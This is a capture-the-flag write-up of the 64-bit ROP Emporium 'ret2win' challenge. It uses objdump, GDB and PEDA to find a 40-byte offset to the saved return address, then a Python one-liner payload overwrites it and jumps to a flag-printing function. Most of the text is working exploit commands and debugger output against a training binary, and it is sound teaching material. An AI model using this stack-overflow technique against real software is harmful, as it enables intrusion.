Introduction
In this post, I will be doing the ROP Emporium challange entitled ret2win which according to the challange I will need to call a method within the binary by overwriting a saved return address on the stack. This is the 64-bit version of the challange; the 32-bit version can be found here.
Tools
For this post, I will be using the following tools on a Kali Linux distro:
- pwntools
- objdump
- GDB
- PEDA – Python Exploit Development Assistance for GDB
Write Up
The first step I am going to take is checking the security on the binary file by using the following command from the pwntools library.
checksec ./ret2win
[*] '/root/CTF/ROP Emporium/ret2win/ret2win' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
I can see by the results above that the only security enabled on this binary is the non-executable stack (NX enabled). Next, I am going to check the .text segment with objdump to get some information about the functions.
objdump -t ret2win | grep .text
0000000000400650 l d .text 0000000000000000 .text 0000000000400680 l F .text 0000000000000000 deregister_tm_clones 00000000004006c0 l F .text 0000000000000000 register_tm_clones 0000000000400700 l F .text 0000000000000000 __do_global_dtors_aux 0000000000400720 l F .text 0000000000000000 frame_dummy 00000000004007b5 l F .text 000000000000005c pwnme 0000000000400811 l F .text 0000000000000020 ret2win 00000000004008b0 g F .text 0000000000000002 __libc_csu_fini 0000000000400840 g F .text 0000000000000065 __libc_csu_init 0000000000400650 g F .text 000000000000002a _start 0000000000400746 g F .text 000000000000006f main
Both the pwnme and ret2win functions look fairly interesting, so I am going to disassemble those functions to get a better idea of what they do, along with main. For this, I am going to use objdump along with awk to get each functions assembly instructions, as seen below for the main function.
objdump -d ret2win | awk '/main>:/,/^$/'
0000000000400746 <main>: 400746: 55 push %rbp 400747: 48 89 e5 mov %rsp,%rbp 40074a: 48 8b 05 0f 09 20 00 mov 0x20090f(%rip),%rax # 601060 <[email protected]@GLIBC_2.2.5> 400751: b9 00 00 00 00 mov $0x0,%ecx 400756: ba 02 00 00 00 mov $0x2,%edx 40075b: be 00 00 00 00 mov $0x0,%esi 400760: 48 89 c7 mov %rax,%rdi 400763: e8 c8 fe ff ff callq 400630 <[email protected]> 400768: 48 8b 05 11 09 20 00 mov 0x200911(%rip),%rax # 601080 <[email protected]@GLIBC_2.2.5> 40076f: b9 00 00 00 00 mov $0x0,%ecx 400774: ba 02 00 00 00 mov $0x2,%edx 400779: be 00 00 00 00 mov $0x0,%esi 40077e: 48 89 c7 mov %rax,%rdi 400781: e8 aa fe ff ff callq 400630 <[email protected]> 400786: bf c8 08 40 00 mov $0x4008c8,%edi 40078b: e8 40 fe ff ff callq 4005d0 <[email protected]> 400790: bf e0 08 40 00 mov $0x4008e0,%edi 400795: e8 36 fe ff ff callq 4005d0 <[email protected]> 40079a: b8 00 00 00 00 mov $0x0,%eax 40079f: e8 11 00 00 00 callq 4007b5 <pwnme> 4007a4: bf e8 08 40 00 mov $0x4008e8,%edi 4007a9: e8 22 fe ff ff callq 4005d0 <[email protected]> 4007ae: b8 00 00 00 00 mov $0x0,%eax 4007b3: 5d pop %rbp 4007b4: c3 retq
As you can see in the image above, the pwnme function is called from main like so:
40079f: e8 11 00 00 00 callq 4007b5 <pwnme>
Below is the main function in pseudo code:
void main() { setvbuf(0x20090f(%rip), 0, 2, 0) setvbuf(0x200911(%rip), 0, 2, 0) puts($0x4008c8) puts($0x4008e0) pwnme() puts($0x4008e8) }
Now I need to take a look at what the pwnme function does by walking through the assembly code displayed by objdump.
objdump -d ret2win | awk '/pwnme>:/,/^$/'
080485f6 <pwnme>: 00000000004007b5 : 4007b5: 55 push %rbp 4007b6: 48 89 e5 mov %rsp,%rbp 4007b9: 48 83 ec 20 sub $0x20,%rsp 4007bd: 48 8d 45 e0 lea -0x20(%rbp),%rax 4007c1: ba 20 00 00 00 mov $0x20,%edx 4007c6: be 00 00 00 00 mov $0x0,%esi 4007cb: 48 89 c7 mov %rax,%rdi 4007ce: e8 2d fe ff ff callq 400600 <[email protected]> 4007d3: bf f8 08 40 00 mov $0x4008f8,%edi 4007d8: e8 f3 fd ff ff callq 4005d0 <[email protected]> 4007dd: bf 78 09 40 00 mov $0x400978,%edi 4007e2: e8 e9 fd ff ff callq 4005d0 <[email protected]> 4007e7: bf dd 09 40 00 mov $0x4009dd,%edi 4007ec: b8 00 00 00 00 mov $0x0,%eax 4007f1: e8 fa fd ff ff callq 4005f0 <[email protected]> 4007f6: 48 8b 15 73 08 20 00 mov 0x200873(%rip),%rdx # 601070 <[email protected]@GLIBC_2.2.5> 4007fd: 48 8d 45 e0 lea -0x20(%rbp),%rax 400801: be 32 00 00 00 mov $0x32,%esi 400806: 48 89 c7 mov %rax,%rdi 400809: e8 12 fe ff ff callq 400620 <[email protected]> 40080e: 90 nop 40080f: c9 leaveq 400810: c3 retq
In the above output, you can see that the pwnme function first calls memset to zero out the buffer located at -0x20(%rbp)
, then calls a few puts functions, followed by a printf, then the fgets function. The fgets function will be the function I overflow when writing the exploit.
The pwnme function in pesudo code:
void pwnme() { memset(-0x20(%rbp), '', 32) puts($0x4008f8) puts($0x400978) printf($0x4009dd) fgets(-0x20(%rbp), 50, 0x200873(%rip)) }
The last function of interested was the function ret2win. Since the challange is called ret2win, I am assuming that this function does something special, or I could be completely trolled by a useless function. Lets take a look at the ret2win function assembly instructions using objdump.
objdump -d ret2win | awk '/ret2win>:/,/^$/'
08048659 <ret2win>: 0000000000400811 : 400811: 55 push %rbp 400812: 48 89 e5 mov %rsp,%rbp 400815: bf e0 09 40 00 mov $0x4009e0,%edi 40081a: b8 00 00 00 00 mov $0x0,%eax 40081f: e8 cc fd ff ff callq 4005f0 <[email protected]> 400824: bf fd 09 40 00 mov $0x4009fd,%edi 400829: e8 b2 fd ff ff callq 4005e0 <[email protected]> 40082e: 90 nop 40082f: 5d pop %rbp 400830: c3 retq 400831: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1) 400838: 00 00 00 40083b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
Ahhhh, this must be the method the challenge was talking about…
You will need to locate a method within the binary that you want to call and do so by overwriting a saved return address on the stack.
The ret2win function above makes a call to printf, then right after, a call to system. Since these challenges use CTF style flags to solve each challange, I am assuming this system call is executing a command to read the contents of the flag.txt file. It looks like I will need to overwrite RIP, and redirect control flow over to the ret2win function to get the flag.
Now that I have a good idea of what the executable is doing by examining the assembly instructions of each function, I am going to run the executable to input some junk values.
python -c "print 'A' * 80" | ./ret2win
ret2win by ROP Emporium 64bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > Segmentation fault
I was able to crash the program by sending 80 characters to the input buffer (the fgets function.) The next step would be to identify the exact offset to the overflow which caused the crash, this can be done by generating a cyclic pattern to send in place of the 80 A characters. For this, I am going to use PEDA to generate the pattern.
gdb -q ./ret2win
While inside gdb, I ran the following command to generate a cyclic pattern of 80 bytes.
pattern_create 80 /tmp/pattern.txt
The above command generates the pattern, and stores it in the file /tmp/pattern.txt
. While still inside gdb, I can re-run the program using /tmp/pattern.txt
as input as seen below.
r < /tmp/pattern.txt
Starting program: /root/CTF/ROP Emporium/ret2win/ret2win < /tmp/pattern.txt ret2win by ROP Emporium 64bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x7fffffffdff0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb") RBX: 0x0 RCX: 0x0 RDX: 0x7ffff7fae590 --> 0x0 RSI: 0x602261 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A") RDI: 0x7fffffffdff1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb") RBP: 0x6141414541412941 ('A)AAEAAa') RSP: 0x7fffffffe018 ("AA0AAFAAb") RIP: 0x400810 (<pwnme+91>: ret) R8 : 0x7fffffffdff0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAb") R9 : 0x7ffff7e96f90 (<__wcpcpy>: lea rax,[rdi-0x4]) R10: 0x0 R11: 0x246 R12: 0x400650 (<_start>: xor ebp,ebp) R13: 0x7fffffffe100 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400809 <pwnme+84>: call 0x400620 <[email protected]> 0x40080e <pwnme+89>: nop 0x40080f <pwnme+90>: leave => 0x400810 <pwnme+91>: ret 0x400811 <ret2win>: push rbp 0x400812 <ret2win+1>: mov rbp,rsp 0x400815 <ret2win+4>: mov edi,0x4009e0 0x40081a <ret2win+9>: mov eax,0x0 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe018 ("AA0AAFAAb") 0008| 0x7fffffffe020 --> 0x400062 --> 0x1f8000000000000 0016| 0x7fffffffe028 --> 0x7ffff7e18bbb (<__libc_start_main+235>: mov edi,eax) 0024| 0x7fffffffe030 --> 0x0 0032| 0x7fffffffe038 --> 0x7fffffffe108 --> 0x7fffffffe424 ("/root/CTF/ROP Emporium/ret2win/ret2win") 0040| 0x7fffffffe040 --> 0x100000000 0048| 0x7fffffffe048 --> 0x400746 (<main>: push rbp) 0056| 0x7fffffffe050 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000400810 in pwnme ()
As you can see above, I was able to crash the program again (as expected), and you can see in the above output, that the top of the stack contains the value AA0AAFAAb
. To find the exact offset to overwrite RIP, while still within the same gdb session, run the following command.
pattern_offset AA0AAFAAb
The above gdb command prints out the exact offset to overwrite RIP, as seen below.
AA0AAFAAb found at offset: 40
As you can see by the results, the offset to RIP is 40 bytes. Now that I know the offset to control RIP, I should be able to write a small exploit script to overflow RIP and redirect control flow to the ret2win function which is located at 0x0000000000400811. This challange can be solved by a one-liner as seen below.
python -c "print 'A' * 40 + '\x11\x08\x40\x00\x00\x00\x00\x00'" > payload.txt
And now to run the program using payload.txt
as input.
./ret2win < payload.txt
Starting program: /root/CTF/ROP Emporium/ret2win/ret2win < payload.txt ret2win by ROP Emporium 64bits For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer; What could possibly go wrong? You there madam, may I have your input please? And don't worry about null bytes, we're using fgets! > Thank you! Here's your flag:[Attaching after process 295274 vfork to child process 295275] [New inferior 2 (process 295275)] [Detaching vfork parent process 295274 after child exec] [Inferior 1 (process 295274) detached] process 295275 is executing new program: /usr/bin/dash [Attaching after process 295275 fork to child process 295276] [New inferior 3 (process 295276)] [Detaching after fork from parent process 295275] [Inferior 2 (process 295275) detached] process 295276 is executing new program: /usr/bin/cat ROPE{a_placeholder_32byte_flag!} [Inferior 3 (process 295276) exited normally]
BINGO! This challange was easy to solve, as the overflow only required a redirection to another function that was already part of the executable.